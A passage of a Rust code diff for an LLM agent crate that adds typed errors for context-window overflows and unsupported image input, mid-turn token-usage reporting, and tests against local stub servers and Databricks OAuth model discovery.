read_error_body(resp).await; + // Same recovery classification as the shared `post()` terminal: + // `openrouter_post` is a separate implementation with its own retry + // loop and status ladder, so it needs its own arm or OpenRouter + // agents keep the permanent context-400 stuck loop. + if status == 400 && is_context_length_error(&body) { + return Err(AgentError::LlmContextExceeded(format!("{status}: {body}"))); + } + return Err(AgentError::Llm(format!("{status}: {body}"))); } if let Some(len) = resp.content_length() { if len as usize > MAX_LLM_RESPONSE_BYTES { @@ -2483,6 +2540,8 @@ mod tests { }); let status_text = match response.status { 200 => "OK", + 400 => "Bad Request", + 413 => "Payload Too Large", 500 => "Internal Server Error", 502 => "Bad Gateway", 503 => "Service Unavailable", @@ -6014,6 +6073,8 @@ mod tests { fn status_line(status: u16) -> &'static str { match status { 200 => "200 OK", + 400 => "400 Bad Request", + 413 => "413 Payload Too Large", 401 => "401 Unauthorized", 402 => "402 Payment Required", 403 => "403 Forbidden", @@ -6127,6 +6188,240 @@ mod tests { (url, captured, attempts) } + /// Wren's rider: assert on the error emerging from `complete()` for the + /// OpenRouter path, not from `openrouter_post`. The bug was the `?` in the + /// provider arm, which is invisible from below — a low-level test can see + /// the classification but not whether the arm returns it into the + /// convergence mapper. The regression test has to cross the layer that had + /// the bug. + /// + /// Two claims here: the variant is `LlmContextExceeded` (so the agent loop + /// can recover), and the message carries the `(model)` stamp (so the arm + /// reaches the mapper at all). Measured before the fix: variant was correct + /// but UNSTAMPED, which is exactly the bypass Wren named. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn openrouter_context_400_is_typed_and_stamped_through_complete() { + let (url, _captured, _attempts) = spawn_openrouter_stub(vec![CannedResponse::new( + 400, + r#"{"error":{"message":"This model's maximum context length is 8192 tokens","code":"context_length_exceeded"}}"#, + )]) + .await; + let mut c = cfg(Provider::OpenRouter); + c.base_url = url; + let llm = Llm::new(&c).unwrap(); + let err = complete_model(&llm, &c, "or-model-xyz").await.unwrap_err(); + assert!( + matches!(err, AgentError::LlmContextExceeded(_)), + "OpenRouter context-window 400 must classify as LlmContextExceeded, got: {err:?}" + ); + let text = err.to_string(); + assert!( + text.contains("or-model-xyz"), + "OpenRouter arm must return into the convergence mapper so the model stamp is \ + applied; got: {text}" + ); + } + + /// Same two claims on the Anthropic arm — the other `?` Wren named, and the + /// other terminal's provider phrasing ("prompt is too long"). + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn anthropic_context_400_is_typed_and_stamped_through_complete() { + let (base_url, _captured) = spawn_sequence_stub(vec![StubHttpResponse { + status: 400, + body: json!({"type":"error","error":{"type":"invalid_request_error","message":"prompt is too long: 300000 tokens > 200000 maximum"}}), + }]) + .await; + let mut c = cfg(Provider::Anthropic); + c.base_url = base_url; + let llm = Llm::new(&c).unwrap(); + let err = complete_model(&llm, &c, "claude-probe-model") + .await + .unwrap_err(); + assert!( + matches!(err, AgentError::LlmContextExceeded(_)), + "Anthropic context-window 400 must classify as LlmContextExceeded, got: {err:?}" + ); + let text = err.to_string(); + assert!( + text.contains("claude-probe-model"), + "Anthropic arm must return into the convergence mapper so the model stamp is \ + applied; got: {text}" + ); + } + + /// Negative arm for the OpenRouter terminal: an ordinary 400 must stay + /// `AgentError::Llm`. Paired with the positive above, this is what proves + /// the matcher — not the status alone — is doing the classification. The + /// body deliberately quotes "tokens" and "model", the words a loose matcher + /// would key on. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn openrouter_ordinary_400_stays_plain_llm_error() { + let (url, _captured, _attempts) = spawn_openrouter_stub(vec![CannedResponse::new( + 400, + r#"{"error":{"message":"Invalid value for 'max_tokens': must be an integer for this model","code":"invalid_value"}}"#, + )]) + .await; + let mut c = cfg(Provider::OpenRouter); + c.base_url = url; + let llm = Llm::new(&c).unwrap(); + let err = complete_model(&llm, &c, "or-model-xyz").await.unwrap_err(); + assert!( + matches!(err, AgentError::Llm(_)), + "an ordinary 400 must stay a terminal AgentError::Llm, got: {err:?}" + ); + } + + /// Negative arm for the shared `post()` terminal (OpenAI/Databricks), the + /// second of the two `!status.is_success()` sites. Same body as the + /// OpenRouter negative so the two terminals are compared on equal input. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn openai_ordinary_400_stays_plain_llm_error() { + let (base_url, _captured) = spawn_sequence_stub(vec![StubHttpResponse { + status: 400, + body: json!({"error":{"message":"Invalid value for 'max_tokens': must be an integer for this model","code":"invalid_value"}}), + }]) + .await; + let mut c = cfg(Provider::OpenAi); + c.base_url = base_url; + let llm = Llm::new(&c).unwrap(); + let err = complete_model(&llm, &c, "gpt-probe-model") + .await + .unwrap_err(); + assert!( + matches!(err, AgentError::Llm(_)), + "an ordinary 400 must stay a terminal AgentError::Llm, got: {err:?}" + ); + } + + /// Positive arm for the shared `post()` terminal: OpenAI's machine-readable + /// `context_length_exceeded` code classifies as recoverable. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn openai_context_400_is_typed_through_complete() { + let (base_url, _captured) = spawn_sequence_stub(vec![StubHttpResponse { + status: 400, + body: json!({"error":{"message":"This model's maximum context length is 8192 tokens.","type":"invalid_request_error","code":"context_length_exceeded"}}), + }]) + .await; + let mut c = cfg(Provider::OpenAi); + c.base_url = base_url; + let llm = Llm::new(&c).unwrap(); + let err = complete_model(&llm, &c, "gpt-probe-model") + .await + .unwrap_err(); + assert!( + matches!(err, AgentError::LlmContextExceeded(_)), + "OpenAI context-window 400 must classify as LlmContextExceeded, got: {err:?}" + ); + assert!( + err.to_string().contains("gpt-probe-model"), + "expected the convergence mapper's model stamp, got: {err}" + ); + } + + /// A context-window 400 must NOT trip the Responses-API auto-upgrade. True + /// by construction — `try_upgrade` matches only `AgentError::Llm` and the + /// typed variant can never reach it — but asserted because the guarantee + /// lives in a pattern match one refactor away from widening, and a silent + /// sticky upgrade would reroute every later OpenAI call for the process. + /// + /// `openai_api = Auto` is load-bearing in BOTH arms: `try_upgrade` is only + /// consulted under `Auto` (`llm.rs:587`), so with the test helper's default + /// `Chat` the upgrade path is disabled outright and the negative below would + /// pass without observing anything. The control caught exactly that. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn context_400_does_not_trip_responses_upgrade() { + let (base_url, _captured) = spawn_sequence_stub(vec![StubHttpResponse { + status: 400, + body: json!({"error":{"message":"This model's maximum context length is 8192 tokens.","code":"context_length_exceeded"}}), + }]) + .await; + let mut c = cfg(Provider::OpenAi); + c.base_url = base_url; + c.openai_api = OpenAiApi::Auto; + let llm = Llm::new(&c).unwrap(); + let err = complete_model(&llm, &c, "gpt-probe-model") + .await + .unwrap_err(); + assert!(matches!(err, AgentError::LlmContextExceeded(_))); + assert!( + !llm.auto_upgraded.load(Ordering::Relaxed), + "a context-window 400 must not latch the Responses-API upgrade" + ); + // Positive control: the same helper DOES latch on a genuine + // "use the Responses API" error, so the negative above is a real + // observation and not a probe that can never fire. + let (base_url2, _c2) = spawn_sequence_stub(vec![StubHttpResponse { + status: 400, + body: json!({"error":{"message":"This model is only supported in /v1/responses"}}), + }]) + .await; + let mut c2 = cfg(Provider::OpenAi); + c2.base_url = base_url2; + c2.openai_api = OpenAiApi::Auto; + let llm2 = Llm::new(&c2).unwrap(); + let _ = complete_model(&llm2, &c2, "gpt-probe-model").await; + assert!( + llm2.auto_upgraded.load(Ordering::Relaxed), + "control: a genuine Responses-API error must latch the upgrade" + ); + } + + /// The `status == 400` conjunct is load-bearing, not belt-and-braces: the + /// recovery ladder is only a correct response to an INPUT-SIZE rejection. + /// A 403 whose body happens to quote context-window prose (a guardrail + /// echoing the request, say) is a permission failure — shrinking history + /// cannot fix it, so classifying it as recoverable would burn the whole + /// recovery budget on three doomed summarize round-trips and turn a clear + /// immediate error into a slow one. + /// + /// 413 (Payload Too Large) is the right probe status, and picking it took a + /// measurement: my first attempt used 403, which BOTH ladders intercept + /// earlier (shared `post()` maps 401/403 to `LlmAuth`; `openrouter_post()` + /// has its own 403 arm), so those probes never reached the classification + /// site at all and the mutant with the conjunct deleted survived them. 413 + /// is intercepted by neither ladder, so it reaches the same + /// `!status.is_success()` terminal the 400 does — and it is the most + /// plausible real-world carrier of size prose on a non-400. One arm per + /// terminal site. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn openai_413_with_context_prose_is_not_recoverable() { + let (base_url, _captured) = spawn_sequence_stub(vec![StubHttpResponse { + status: 413, + body: json!({"error":{"message":"payload too large: this model's maximum context length is 8192 tokens"}}), + }]) + .await; + let mut c = cfg(Provider::OpenAi); + c.base_url = base_url; + let llm = Llm::new(&c).unwrap(); + let err = complete_model(&llm, &c, "gpt-probe-model") + .await + .unwrap_err(); + assert!( + matches!(err, AgentError::Llm(_)), + "only a 400 may classify as a context overflow; a 413 must stay terminal, got: \ + {err:?}" + ); + } + + /// Same claim at the OpenRouter terminal, which has its own status ladder. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn openrouter_413_with_context_prose_is_not_recoverable() { + let (url, _captured, _attempts) = spawn_openrouter_stub(vec![CannedResponse::new( + 413, + r#"{"error":{"message":"payload too large: this model's maximum context length is 8192 tokens"}}"#, + )]) + .await; + let mut c = cfg(Provider::OpenRouter); + c.base_url = url; + let llm = Llm::new(&c).unwrap(); + let err = complete_model(&llm, &c, "or-model-xyz").await.unwrap_err(); + assert!( + matches!(err, AgentError::Llm(_)), + "only a 400 may classify as a context overflow; a 413 must stay terminal, got: \ + {err:?}" + ); + } + /// A 403 (guardrail/moderation/permission rejection, per OpenRouter docs) /// must NOT be classified as `LlmAuth`: refreshing a static key returns /// the identical key, so retrying would just waste a duplicate request. @@ -6213,6 +6508,34 @@ mod tests { ); } + /// A provider's explicit image-capability rejection is a recoverable typed + /// error, not a missing model. The agent loop uses this signal to remove the + /// image from history before retrying the next LLM round. + #[tokio::test(flavor = "multi_thread", worker_threads = 2)] + async fn openrouter_post_404_unsupported_image_is_typed_and_not_retried() { + let (url, _captured, attempts) = spawn_openrouter_stub(vec![CannedResponse::new( + 404, + r#"{"error":{"message":"No endpoints found that support image input"}}"#, + )]) + .await; + let http = Client::builder() + .timeout(Duration::from_secs(5)) + .build() + .unwrap(); + let err = openrouter_post(&http, &format!("{url}/x"), &json!({}), "key") + .await + .unwrap_err(); + assert!( + matches!(&err, AgentError::UnsupportedImageInput(s) if s.contains("support image input")), + "image rejection must reach the history-recovery path: got {err:?}" + ); + assert_eq!( + attempts.load(std::sync::atomic::Ordering::SeqCst), + 1, + "a deterministic capability rejection must not be retried" + ); + } + /// Every other 404 still maps to `LlmModelNotFound`, including one that /// shares the `No endpoints found` prefix but is about the model rather than /// the parameters — the discriminator is narrow enough that a genuinely diff --git a/crates/buzz-agent/src/types.rs b/crates/buzz-agent/src/types.rs index 343a75bf72..4a856f7a87 100644 --- a/crates/buzz-agent/src/types.rs +++ b/crates/buzz-agent/src/types.rs @@ -308,6 +308,30 @@ impl TurnTotalState { } } +/// The session-cumulative usage counters as of the START of a turn. +/// +/// Copied out of the session under the lock when a turn begins and handed to +/// `RunCtx` by value, so the run loop can emit a cumulative `usage_update` +/// after every LLM round without reaching back into `App.sessions` (which it +/// holds no handle to, and which is locked by the turn's own bookkeeping at +/// both ends). +/// +/// This exists so that usage is durable *during* a turn rather than only after +/// it. The counters a turn accrues live in the prompt task's stack frame until +/// the turn returns; a process killed mid-turn takes them with it and the +/// tokens are billed by the provider but recorded nowhere. That is not +/// hypothetical — it silently under-reported a long-horizon benchmark's cost by +/// several-fold, because every phase of a `continue_until_timeout` run is +/// terminated mid-turn by design. +#[derive(Debug, Clone, Copy, Default)] +pub struct SessionUsageBaseline { + pub input_tokens: u64, + pub output_tokens: u64, + /// The cache-served subset of `input_tokens`, not an addition to it. + pub cached_input_tokens: u64, + pub total_state: TurnTotalState, +} + #[derive(Debug, Clone, Copy, PartialEq)] pub enum StopReason { EndTurn, @@ -364,6 +388,22 @@ pub enum AgentError { Llm(String), LlmAuth(String), LlmModelNotFound(String), + /// The provider rejected the request because the input exceeded the + /// model's context window (an HTTP 400 whose body names a context-length + /// overflow). Typed rather than folded into [`Self::Llm`] because the + /// agent loop treats it as a *recovery* signal, not a terminal error: it + /// is the only ground-truth indication that history must shrink, needing + /// no window estimate that could itself be miscalibrated. + /// + /// Classified where the HTTP status and body are still separate values, so + /// the loop never has to sniff a formatted string — by the time an error + /// leaves `Llm::complete` it has already been decorated with the model + /// name. + LlmContextExceeded(String), + /// The provider explicitly rejected image content for the selected model. + /// Kept distinct so the agent loop can remove the unsupported image from + /// replayed history and give the model a recoverable tool error. + UnsupportedImageInput(String), Mcp(String), Cancelled, } @@ -375,6 +415,8 @@ impl std::fmt::Display for AgentError { Self::Llm(s) => write!(f, "llm: {s}"), Self::LlmAuth(s) => write!(f, "llm auth: {s}"), Self::LlmModelNotFound(s) => write!(f, "llm model not found: {s}"), + Self::LlmContextExceeded(s) => write!(f, "llm context exceeded: {s}"), + Self::UnsupportedImageInput(s) => write!(f, "llm image input unsupported: {s}"), Self::Mcp(s) => write!(f, "mcp: {s}"), Self::Cancelled => write!(f, "cancelled"), } diff --git a/crates/buzz-agent/src/wire.rs b/crates/buzz-agent/src/wire.rs index 7b50e7982a..634fca03af 100644 --- a/crates/buzz-agent/src/wire.rs +++ b/crates/buzz-agent/src/wire.rs @@ -148,6 +148,48 @@ pub fn goose_session_update(sid: &str, update: Value) -> Value { }) } +/// Build the `usage_update` payload for a `_goose/unstable/session/update`. +/// +/// Shared by the two places that report usage — after each LLM round inside a +/// turn, and once more when the turn completes — so the wire shape cannot drift +/// between them. A consumer takes the high-water mark per session, so the +/// mid-turn payloads are supersets of each other and the final one wins; a +/// divergence in field names or units between the two call sites would instead +/// show up as tokens silently vanishing, which is the failure this reporting +/// exists to prevent. +/// +/// All counts are SESSION-cumulative, matching goose, so buzz-acp's +/// `UsageTracker` can compute per-turn deltas symmetrically for both agents. +pub fn usage_update_payload( + accumulated_input_tokens: u64, + accumulated_output_tokens: u64, + accumulated_cached_input_tokens: u64, + accumulated_total: crate::types::TurnTotalState, + model: &str, +) -> Value { + let mut update = json!({ + "sessionUpdate": "usage_update", + // used: total tokens as a context-usage proxy; + // contextLimit: 0 (buzz-agent has no context limit tracking). + "used": accumulated_input_tokens.saturating_add(accumulated_output_tokens), + "contextLimit": 0u64, + "accumulatedInputTokens": accumulated_input_tokens, + "accumulatedOutputTokens": accumulated_output_tokens, + // A subset of accumulatedInputTokens, not an addition to it. Extends + // goose's usage_update shape; a consumer that does not know the field + // ignores it and prices exactly as it did before. + "accumulatedCachedInputTokens": accumulated_cached_input_tokens, + "model": model, + }); + // Only when the cumulative is exactly known — never when Unseen (no total + // ever observed) or Unknown (at least one turn lacked a total). A goose + // consumer that doesn't recognise the field ignores it. + if let Some(total) = accumulated_total.exact_value() { + update["accumulatedTotalTokens"] = json!(total); + } + update +} + /// A `session/update` notification carrying a `update._meta.goose.` field. /// Used to advertise `activeRunId` (so steer-capable clients can target the /// in-flight run) and `queuedSteer` (so they can correlate an accepted steer diff --git a/crates/buzz-agent/tests/bin/fake_mcp.rs b/crates/buzz-agent/tests/bin/fake_mcp.rs index 5b660da48c..1b7f346162 100644 --- a/crates/buzz-agent/tests/bin/fake_mcp.rs +++ b/crates/buzz-agent/tests/bin/fake_mcp.rs @@ -12,6 +12,7 @@ //! (use a large value, e.g. 999, to simulate hang) //! FAKE_MCP_RESULT_SIZE=N — `tools/call` returns an N-byte text result //! (default: the literal "ok"); grows history +//! FAKE_MCP_IMAGE_RESULT=1 — `tools/call` returns text plus a PNG image block //! FAKE_MCP_PID_FILE=path — write the child PID to `path` on startup //! (for tests that want to verify the child died) //! FAKE_MCP_SPAWN_GRANDCHILD=1 @@ -300,10 +301,18 @@ fn main() { } else { "ok".to_owned() }; + let content = if env_flag("FAKE_MCP_IMAGE_RESULT") { + json!([ + { "type": "text", "text": result_text }, + { "type": "image", "data": "aW1n", "mimeType": "image/png" }, + ]) + } else { + json!([{ "type": "text", "text": result_text }]) + }; write_response( id, json!({ - "content": [{ "type": "text", "text": result_text }], + "content": content, "isError": false, }), ); diff --git a/crates/buzz-agent/tests/databricks_oauth.rs b/crates/buzz-agent/tests/databricks_oauth.rs index 52acee1076..fbe0dc1f86 100644 --- a/crates/buzz-agent/tests/databricks_oauth.rs +++ b/crates/buzz-agent/tests/databricks_oauth.rs @@ -20,6 +20,7 @@ use axum::{routing::get, routing::post, Json, Router}; use buzz_agent::auth::{PkceOAuthConfig, PkceOAuthTokenSource, TokenSource}; use serde::Deserialize; use serde_json::json; +use sha2::{Digest, Sha256}; use tempfile::TempDir; #[derive(Deserialize)] @@ -457,6 +458,7 @@ struct AgentHarness { stdin: tokio::process::ChildStdin, stdout: BufReader, next_id: i64, + _home: Option, } impl Drop for AgentHarness { @@ -467,20 +469,65 @@ impl Drop for AgentHarness { impl AgentHarness { async fn spawn_provider(provider: &str, base_url: &str, model: &str) -> Self { + Self::spawn_provider_with_options(provider, base_url, model, 1, Some("test-bearer")).await + } + + async fn spawn_oauth_provider( + provider: &str, + base_url: &str, + model: &str, + max_sessions: usize, + ) -> Self { + Self::spawn_provider_with_options(provider, base_url, model, max_sessions, None).await + } + + async fn spawn_provider_with_max_sessions( + provider: &str, + base_url: &str, + model: &str, + max_sessions: usize, + ) -> Self { + Self::spawn_provider_with_options( + provider, + base_url, + model, + max_sessions, + Some("test-bearer"), + ) + .await + } + + async fn spawn_provider_with_options( + provider: &str, + base_url: &str, + model: &str, + max_sessions: usize, + token: Option<&str>, + ) -> Self { let bin = env!("CARGO_BIN_EXE_buzz-agent"); + let home = token + .is_none() + .then(|| TempDir::new().expect("create isolated OAuth home")); let mut cmd = tokio::process::Command::new(bin); cmd.env("BUZZ_AGENT_PROVIDER", provider) .env("DATABRICKS_HOST", base_url) .env("DATABRICKS_MODEL", model) - .env("DATABRICKS_TOKEN", "test-bearer") + .env_remove("DATABRICKS_TOKEN") .env("BUZZ_AGENT_LLM_TIMEOUT_SECS", "5") .env("BUZZ_AGENT_TOOL_TIMEOUT_SECS", "5") .env("BUZZ_AGENT_MAX_ROUNDS", "2") + .env("BUZZ_AGENT_MAX_SESSIONS", max_sessions.to_string()) .env("BUZZ_AGENT_MCP_INIT_TIMEOUT_SECS", "2") .stdin(Stdio::piped()) .stdout(Stdio::piped()) .stderr(Stdio::null()) .kill_on_drop(true); + if let Some(token) = token { + cmd.env("DATABRICKS_TOKEN", token); + } + if let Some(home) = &home { + cmd.env("HOME", home.path()); + } let mut child = cmd.spawn().expect("spawn buzz-agent"); let stdin = child.stdin.take().unwrap(); let stdout = BufReader::new(child.stdout.take().unwrap()); @@ -489,9 +536,17 @@ impl AgentHarness { stdin, stdout, next_id: 1, + _home: home, } } + fn oauth_home(&self) -> &std::path::Path { + self._home + .as_ref() + .expect("harness was not started in OAuth mode") + .path() + } + async fn send(&mut self, method: &str, params: serde_json::Value) -> i64 { let id = self.next_id; self.next_id += 1; @@ -938,3 +993,288 @@ async fn session_set_model_empty_model_id_returns_error() { "error message must mention modelId, got: {msg}" ); } + +#[tokio::test] +async fn model_discovery_surfaces_rejected_static_token_as_auth_failure() { + use axum::http::StatusCode; + use buzz_agent::config::{Config, Provider}; + use buzz_agent::discover_databricks_models; + + let requests = Arc::new(AtomicU64::new(0)); + let requests_for_route = requests.clone(); + let listener = tokio::net::TcpListener::bind(SocketAddr::from(([127, 0, 0, 1], 0))) + .await + .unwrap(); + let host = format!("http://{}", listener.local_addr().unwrap()); + let app = Router::new().route( + "/api/ai-gateway/v2/endpoints", + get(move || { + let requests = requests_for_route.clone(); + async move { + requests.fetch_add(1, Ordering::SeqCst); + (StatusCode::UNAUTHORIZED, "rejected bearer rejected") + } + }), + ); + tokio::spawn(async move { + let _ = axum::serve(listener, app).await; + }); + + let cfg = Config::for_discovery(Provider::DatabricksV2, "rejected".into(), host); + let error = discover_databricks_models(&cfg).await.unwrap_err(); + + assert!( + error.to_string().starts_with("llm auth:"), + "401 must retain auth semantics: {error}" + ); + assert!( + !error.to_string().contains("rejected bearer"), + "auth errors must not propagate provider bodies that may echo credentials: {error}" + ); + assert_eq!( + requests.load(Ordering::SeqCst), + 1, + "a static token cannot refresh, so discovery must not issue a duplicate request" + ); +} + +fn databricks_oauth_cache_path(home: &std::path::Path, host: &str) -> std::path::PathBuf { + let discovery_url = format!( + "{}/oidc/.well-known/oauth-authorization-server", + host.trim_end_matches('/') + ); + let mut hasher = Sha256::new(); + hasher.update(discovery_url.as_bytes()); + hasher.update(b"|"); + hasher.update(b"databricks-cli"); + hasher.update(b"|"); + hasher.update(b"all-apis,offline_access"); + let hash = hex::encode(hasher.finalize()); + home.join(".config") + .join("buzz-agent") + .join("oauth") + .join("databricks") + .join(format!("{hash}.json")) +} + +fn write_cached_oauth_token(home: &std::path::Path, host: &str, access_token: &str) { + let path = databricks_oauth_cache_path(home, host); + std::fs::create_dir_all(path.parent().unwrap()).unwrap(); + std::fs::write( + path, + serde_json::to_vec(&json!({ + "access_token": access_token, + "refresh_token": null, + "expires_at": SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_secs() + + 3600, + })) + .unwrap(), + ) + .unwrap(); +} + +#[tokio::test] +async fn oauth_missing_token_uses_configured_model_then_retries_discovery() { + let attempts = Arc::new(AtomicU64::new(0)); + let attempts_for_route = attempts.clone(); + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let host = format!("http://{}", listener.local_addr().unwrap()); + let app = Router::new().route( + "/api/ai-gateway/v2/endpoints", + get(move || { + let attempts = attempts_for_route.clone(); + async move { + attempts.fetch_add(1, Ordering::SeqCst); + Json(json!({ + "endpoints": [{"name": "authenticated-model"}], + "next_page_token": null, + })) + } + }), + ); + tokio::spawn(async move { + let _ = axum::serve(listener, app).await; + }); + + let configured_model = " configured-model "; + let mut h = + AgentHarness::spawn_oauth_provider("databricks_v2", &host, configured_model, 2).await; + let initialize = h + .send( + "initialize", + json!({ "protocolVersion": 1, "clientCapabilities": {} }), + ) + .await; + assert!(h.recv_for(initialize).await.get("result").is_some()); + + let first = h + .send("session/new", json!({ "cwd": "/tmp", "mcpServers": [] })) + .await; + let first_response = h.recv_for(first).await; + assert!( + first_response["result"]["sessionId"].is_string(), + "missing OAuth token blocked session creation: {first_response}" + ); + assert_eq!( + first_response["result"]["models"]["availableModels"], + json!([{"modelId": "configured-model", "name": "configured-model"}]) + ); + assert_eq!(attempts.load(Ordering::SeqCst), 0); + + write_cached_oauth_token(h.oauth_home(), &host, "cached-bearer"); + + let second = h + .send("session/new", json!({ "cwd": "/tmp", "mcpServers": [] })) + .await; + let second_response = h.recv_for(second).await; + assert!( + second_response["result"]["sessionId"].is_string(), + "later authenticated session failed: {second_response}" + ); + assert_eq!( + second_response["result"]["models"]["availableModels"], + json!([{"modelId": "authenticated-model", "name": "authenticated-model"}]) + ); + assert_eq!( + attempts.load(Ordering::SeqCst), + 1, + "OAuth fallback was cached instead of retrying discovery" + ); +} + +#[tokio::test] +async fn non_auth_discovery_failure_uses_configured_model_without_caching_fallback() { + use axum::http::StatusCode; + + let attempts = Arc::new(AtomicU64::new(0)); + let attempts_for_route = attempts.clone(); + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let host = format!("http://{}", listener.local_addr().unwrap()); + let app = Router::new().route( + "/api/ai-gateway/v2/endpoints", + get(move || { + let attempts = attempts_for_route.clone(); + async move { + attempts.fetch_add(1, Ordering::SeqCst); + (StatusCode::SERVICE_UNAVAILABLE, "catalog unavailable") + } + }), + ); + tokio::spawn(async move { + let _ = axum::serve(listener, app).await; + }); + + let configured_model = " configured-model "; + let normalized_configured_model = configured_model.trim(); + let mut h = + AgentHarness::spawn_provider_with_max_sessions("databricks_v2", &host, configured_model, 2) + .await; + let initialize = h + .send( + "initialize", + json!({ "protocolVersion": 1, "clientCapabilities": {} }), + ) + .await; + assert!(h.recv_for(initialize).await.get("result").is_some()); + + for expected_attempts in 1..=2 { + let request = h + .send("session/new", json!({ "cwd": "/tmp", "mcpServers": [] })) + .await; + let response = h.recv_for(request).await; + assert!( + response["result"]["sessionId"].is_string(), + "non-auth catalog failure blocked session creation: {response}" + ); + assert_eq!( + response["result"]["models"]["availableModels"], + json!([{"modelId": normalized_configured_model, "name": normalized_configured_model}]) + ); + assert_eq!(attempts.load(Ordering::SeqCst), expected_attempts); + } +} + +#[tokio::test] +async fn rejected_static_token_does_not_consume_capacity_or_spawn_mcp() { + use axum::http::StatusCode; + + let attempts = Arc::new(AtomicU64::new(0)); + let attempts_for_route = attempts.clone(); + let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); + let host = format!("http://{}", listener.local_addr().unwrap()); + let app = Router::new().route( + "/api/ai-gateway/v2/endpoints", + get(move || { + let attempts = attempts_for_route.clone(); + async move { + if attempts.fetch_add(1, Ordering::SeqCst) == 0 { + Err((StatusCode::UNAUTHORIZED, "rejected")) + } else { + Ok(Json(json!({ + "endpoints": [{"name": "discovered-model"}], + "next_page_token": null, + }))) + } + } + }), + ); + tokio::spawn(async move { + let _ = axum::serve(listener, app).await; + }); + + let mut h = AgentHarness::spawn_provider("databricks_v2", &host, "discovered-model").await; + let initialize = h + .send( + "initialize", + json!({ "protocolVersion": 1, "clientCapabilities": {} }), + ) + .await; + assert!(h.recv_for(initialize).await.get("result").is_some()); + + let pid_dir = TempDir::new().unwrap(); + let pid_file = pid_dir.path().join("mcp.pid"); + let fake_mcp = env!("CARGO_BIN_EXE_fake-mcp"); + let mcp_servers = json!([{ + "name": "must-not-spawn", + "command": fake_mcp, + "args": [], + "env": [{ + "name": "FAKE_MCP_PID_FILE", + "value": pid_file.to_string_lossy(), + }], + }]); + + let failed = h + .send( + "session/new", + json!({ "cwd": "/tmp", "mcpServers": mcp_servers }), + ) + .await; + let failed_response = h.recv_for(failed).await; + assert!(failed_response.get("error").is_some(), "{failed_response}"); + assert!( + failed_response["error"]["message"] + .as_str() + .unwrap_or_default() + .contains("llm auth"), + "rejected static token did not retain auth semantics: {failed_response}" + ); + tokio::time::sleep(Duration::from_millis(100)).await; + assert!( + !pid_file.exists(), + "MCP process spawned before failed discovery was resolved" + ); + + let retry = h + .send("session/new", json!({ "cwd": "/tmp", "mcpServers": [] })) + .await; + let retry_response = h.recv_for(retry).await; + assert!( + retry_response["result"]["sessionId"].is_string(), + "failed discovery consumed the sole session slot: {retry_response}" + ); + assert_eq!(attempts.load(Ordering::SeqCst), 2); +} diff --git a/crates/buzz-agent/tests/fake_llm.rs b/crates/buzz-agent/tests/fake_llm.rs index f782a9d476..4253ef329c 100644 --- a/crates/buzz-agent/tests/fake_llm.rs +++ b/crates/buzz-agent/tests/fake_llm.rs @@ -57,9 +57,26 @@ async fn spawn_fake_llm(responses: Vec) -> String { url } +struct CannedResponse { + status: u16, + body: Value, +} + /// Like `spawn_fake_llm` but also captures the full JSON request body from each /// incoming HTTP request. Returns (url, captured_requests). async fn spawn_capturing_fake_llm(responses: Vec) -> (String, Arc>>) { + spawn_capturing_fake_llm_with_statuses( + responses + .into_iter() + .map(|body| CannedResponse { status: 200, body }) + .collect(), + ) + .await +} + +async fn spawn_capturing_fake_llm_with_statuses( + responses: Vec, +) -> (String, Arc>>) { let listener = TcpListener::bind("127.0.0.1:0").await.unwrap(); let url = format!("http://{}", listener.local_addr().unwrap()); let queue = Arc::new(Mutex::new(VecDeque::from(responses))); @@ -122,15 +139,22 @@ async fn spawn_capturing_fake_llm(responses: Vec) -> (String, Arc = frames_before + .iter() + .filter(|v| is_usage_update(v)) + .collect(); + assert!( + usage.len() >= 2, + "expected a usage_update per round (2 rounds), got {}; frames: {frames_before:#?}", + usage.len() + ); + + // Round 1 alone — emitted while round 2 was still outstanding. + assert_eq!( + usage[0]["params"]["update"]["accumulatedInputTokens"], + json!(15u64), + "first notification must carry round 1's input tokens only" + ); + assert_eq!( + usage[0]["params"]["update"]["accumulatedOutputTokens"], + json!(6u64), + "first notification must carry round 1's output tokens only" + ); + + // The last one is the turn total and is what a high-water-mark consumer keeps. + let last = usage[usage.len() - 1]; + assert_eq!( + last["params"]["update"]["accumulatedInputTokens"], + json!(35u64), + "final notification must carry the turn total 15+20=35" + ); + assert_eq!( + last["params"]["update"]["accumulatedOutputTokens"], + json!(14u64), + "final notification must carry the turn total 6+8=14" + ); + + h.shutdown().await; +} + +/// A mid-turn report must be SESSION-cumulative, not turn-local. +/// +/// The baseline handed to the run loop is a snapshot taken when the turn began; +/// if it were dropped, a consumer taking the high-water mark per session would +/// see turn 2's first round (a small number) arrive after turn 1's total and +/// discard it, silently losing turn 2 for any turn that never completed. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn mid_turn_usage_includes_earlier_turns() { + let url = spawn_fake_llm(vec![ + openai_text_with_usage("turn one", 10, 5), + openai_tool_call_with_usage("call_t2", "fake__noop", json!({}), 20, 8), + openai_text_with_usage("turn two done", 30, 9), + ]) + .await; + let mut h = Harness::spawn(&url).await; + let sid = init_session(&mut h).await; + + let p1 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"turn 1"}]}), + ) + .await; + let (_, _) = recv_until_with_drain(&mut h, |v| v["id"] == p1).await; + + let p2 = h + .send( + "session/prompt", + json!({"sessionId": sid, "prompt": [{"type":"text","text":"turn 2"}]}), + ) + .await; + let (frames_before, _) = recv_until_with_drain(&mut h, |v| v["id"] == p2).await; + + let first = frames_before + .iter() + .find(|v| is_usage_update(v)) + .unwrap_or_else(|| { + panic!("expected a usage_update during turn 2; frames: {frames_before:#?}") + }); + assert_eq!( + first["params"]["update"]["accumulatedInputTokens"], + json!(30u64), + "turn 2 round 1 must report 10 (turn 1) + 20 (this round), not 20" + ); + assert_eq!( + first["params"]["update"]["accumulatedOutputTokens"], + 